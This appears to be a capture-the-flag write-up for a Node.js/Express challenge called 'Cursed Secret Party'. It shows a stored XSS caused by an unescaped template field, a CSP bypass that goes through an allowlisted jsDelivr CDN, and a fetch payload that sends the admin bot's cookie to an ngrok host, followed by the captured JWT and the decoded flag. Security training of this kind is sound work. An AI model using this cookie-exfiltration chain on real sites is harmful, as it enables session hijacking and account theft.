Cursed Secret Party
4 minutes to read
We are given this website:
Static code analysis
We are provided with the JavaScript source code of the web application, built in Node.js with Express JS. This is routes/index.js
:
const express = require('express');
const router = express.Router({ caseSensitive: true });
const AuthMiddleware = require('../middleware/AuthMiddleware');
const bot = require('../bot');
let db;
const response = data => ({ message: data });
router.get('/', (req, res) => {
return res.render('index.html');
});
router.post('/api/submit', (req, res) => {
const { halloween_name, email, costume_type, trick_or_treat } = req.body;
if (halloween_name && email && costume_type && trick_or_treat) {
return db.party_request_add(halloween_name, email, costume_type, trick_or_treat)
.then(() => {
res.send(response('Your request will be reviewed by our team!'));
bot.visit();
})
.catch(() => res.send(response('Something Went Wrong!')));
}
return res.status(401).send(response('Please fill out all the required fields!'));
});
router.get('/admin', AuthMiddleware, (req, res) => {
if (req.user.user_role !== 'admin') {
return res.status(401).send(response('Unautorized!'));
}
return db.get_party_requests()
.then((data) => {
res.render('admin.html', { requests: data });
});
});
router.get('/admin/delete_all', AuthMiddleware, (req, res) => {
if (req.user.user_role !== 'admin') {
return res.status(401).send(response('Unautorized!'));
}
return db.remove_requests()
.then(() => res.send(response('All records are deleted!')));
})
module.exports = database => {
db = database;
return router;
};
We see that when we submit the above form, there will be a bot analyzing our information. This is bot.js
:
const fs = require('fs');
const puppeteer = require('puppeteer');
const JWTHelper = require('./helpers/JWTHelper');
const flag = fs.readFileSync('/flag.txt', 'utf8');
const browser_options = {
headless: true,
args: [
'--no-sandbox',
'--disable-background-networking',
'--disable-default-apps',
'--disable-extensions',
'--disable-gpu',
'--disable-sync',
'--disable-translate',
'--hide-scrollbars',
'--metrics-recording-only',
'--mute-audio',
'--no-first-run',
'--safebrowsing-disable-auto-update',
'--js-flags=--noexpose_wasm,--jitless'
]
};
const visit = async () => {
try {
const browser = await puppeteer.launch(browser_options);
let context = await browser.createIncognitoBrowserContext();
let page = await context.newPage();
let token = await JWTHelper.sign({ username: 'admin', user_role: 'admin', flag: flag });
await page.setCookie({
name: 'session',
value: token,
domain: '127.0.0.1:1337'
});
await page.goto('http://127.0.0.1:1337/admin', {
waitUntil: 'networkidle2',
timeout: 5000
});
await page.goto('http://127.0.0.1:1337/admin/delete_all', {
waitUntil: 'networkidle2',
timeout: 5000
});
setTimeout(() => {
browser.close();
}, 5000);
} catch(e) {
console.log(e);
}
};
module.exports = { visit };
Basically, it is a puppeteer
bot that sets a JWT token with the flag as a cookie and then navigates to /admin
. As shown above, /admin
endpoint will query the information we just supplied and render it in admin.html
:
<html>
<head>
<link rel="stylesheet" href="/static/css/bootstrap.min.css" />
<title>Admin panel</title>
</head>
<body>
<div class="container" style="margin-top: 20px">
{% for request in requests %}
<div class="card">
<div class="card-header"> <strong>Halloween Name</strong> : {{ request.halloween_name | safe }} </div>
<div class="card-body">
<p class="card-title"><strong>Email Address</strong> : {{ request.email }}</p>
<p class="card-text"><strong>Costume Type </strong> : {{ request.costume_type }} </p>
<p class="card-text"><strong>Prefers tricks or treat </strong> : {{ request.trick_or_treat }} </p>
<button class="btn btn-primary">Accept</button>
<button class="btn btn-danger">Delete</button>
</div>
</div>
{% endfor %}
</div>
</body>
</html>
XSS vulnerability
This line of code is vulnerable to HTML injection:
<div class="card-header"> <strong>Halloween Name</strong> : {{ request.halloween_name | safe }} </div>
The safe
keyword is used to tell the template engine that request.halloween_name
contains safe HTML code. However, we control this field, so we can “safely” enter HTML code and obtain Cross-Site Scripting (XSS) in the bot’s browser.
CSP configuration
Nevertheless, there is some Content Security Policy applied that mitigates XSS attacks (index.js
):
app.use(function (req, res, next) {
res.setHeader(
"Content-Security-Policy",
"script-src 'self' https://cdn.jsdelivr.net ; style-src 'self' https://fonts.googleapis.com; img-src 'self'; font-src 'self' https://fonts.gstatic.com; child-src 'self'; frame-src 'self'; worker-src 'self'; frame-ancestors 'self'; form-action 'self'; base-uri 'self'; manifest-src 'self'"
);
next();
});
We can use csp-evaluator to analyze some pitfalls of the above CSP:
Indeed, we can abuse cdn.jsdelivr.net to trigger XSS, because it is a trusted domain to serve script files. There’s a way to tell cdn.jsdelivr.net to take the code from a specific GitHub repository. Therefore, we only need to create the malicious JavaScript file in a public GitHub repository, tell cdn.jsdelivr.net to use it and load it as a script in the name field (recall HTML injection).
Exploitation
The objective is to take the bot’s cookie (which is a JWT token containing the flag). We can do this by doing an HTTP request to our controlled server appending the cookie as a query parameter.
In order to expose our local server, we can use ngrok
:
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
$ ngrok -m http 80
ngrok
Try our new native Go library: https://github.com/ngrok/ngrok-go
Session Status online
Account Rocky (Plan: Free)
Version 3.1.0
Region United States (us)
Latency 106ms
Web Interface http://127.0.0.1:4040
Forwarding https://abcd-12-34-56-78.ngrok.io -> http://localhost:80
Connections ttl opn rt1 rt5 p50 p90
0 0 0.00 0.00 0.00 0.00
Now we create this JavaScript file:
fetch('https://abcd-12-34-56-78.ngrok.io?c=' + document.cookie)
And we create a GitHub repository containing this file:
We must take the commit identifier (5057a9ed285c20d243f7a44a6dd3578cc886ad36
) in order to build the cdn.jsdelivr.net URI. We must use this format:
https://cdn.jsdelivr.net/gh/user/repo@version/file
So, this will be the URI:
https://cdn.jsdelivr.net/gh/7Rocky/friendly-octo-eureka@5057a9ed285c20d243f7a44a6dd3578cc886ad36/solve.js
Flag
At this point, we can enter this name:
<script src="https://cdn.jsdelivr.net/gh/7Rocky/friendly-octo-eureka@5057a9ed285c20d243f7a44a6dd3578cc886ad36/solve.js"></script>
And we receive a hit on our local server:
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::1 - - [29/Oct/2022 14:45:21] "GET /?c=session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwidXNlcl9yb2xlIjoiYWRtaW4iLCJmbGFnIjoiSFRCe2Qwbid0XzRsbDB3X2Nkbl8xbl9jNXAhIX0iLCJpYXQiOjE2Njc4MjA5OTZ9.2LHv7OZawIJLRZlZcuplfE-begBv2kHi9XF9SRLUW20 HTTP/1.1" 200 -
If we decode the middle part of the JWT token (the payload part), we will get the flag:
$ echo eyJ1c2VybmFtZSI6ImFkbWluIiwidXNlcl9yb2xlIjoiYWRtaW4iLCJmbGFnIjoiSFRCe2Qwbid0XzRsbDB3X2Nkbl8xbl9jNXAhIX0iLCJpYXQiOjE2Njc4MjA5OTZ9 | base64 -d
{"username":"admin","user_role":"admin","flag":"HTB{d0n't_4ll0w_cdn_1n_c5p!!}","iat":1667820996}